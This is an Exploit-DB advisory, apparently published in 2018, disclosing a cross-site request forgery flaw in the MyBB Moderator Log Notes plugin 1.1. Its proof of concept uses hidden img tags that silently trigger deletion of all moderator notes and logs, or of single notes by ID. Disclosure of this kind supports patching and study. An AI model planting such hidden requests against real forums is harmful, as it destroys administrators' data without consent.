MyBB Moderator Log Notes Plugin 1.1 - Cross-Site Request Forgery

EDB-ID: 45224
Author: 0xB9
Published: 2018-08-20
Type: Webapps
Platform: PHP
Vulnerable App: N/A

 # Date: 2018-05-17 
# Author: 0xB9
# Twitter: @0xB9Sec
# Software Link:
# Version: 1.1
# Tested on: Ubuntu 18.04

# 1. Description:
# The plugin allows moderators to save notes and display them in a list in the modCP.
# The CSRF allows an attacker to remotely delete all mod notes and mod note logs
# in the modCP & ACP.

# 2. Proof of Concept:

<-- Deletes mod note logs -->
<img style="display:none" src="http://localhost/mybb15/admin/index.php?module=tools-modnoteslog&action=dal" alt="">
<-- Deletes mod notes -->
<img style="display:none" src="http://localhost/mybb15/admin/index.php?module=tools-modnoteslog&action=dmn" alt="">

<!-- You can also delete notes individually by the nid (note ID)
<img style="display:none" src="http://localhost/mybb15/modcp.php?action=deletenote&nid=3" alt="">
<img style="display:none" src="http://localhost/mybb15/modcp.php?action=deletenote&nid=2" alt="">
<img style="display:none" src="http://localhost/mybb15/modcp.php?action=deletenote&nid=1" alt="">

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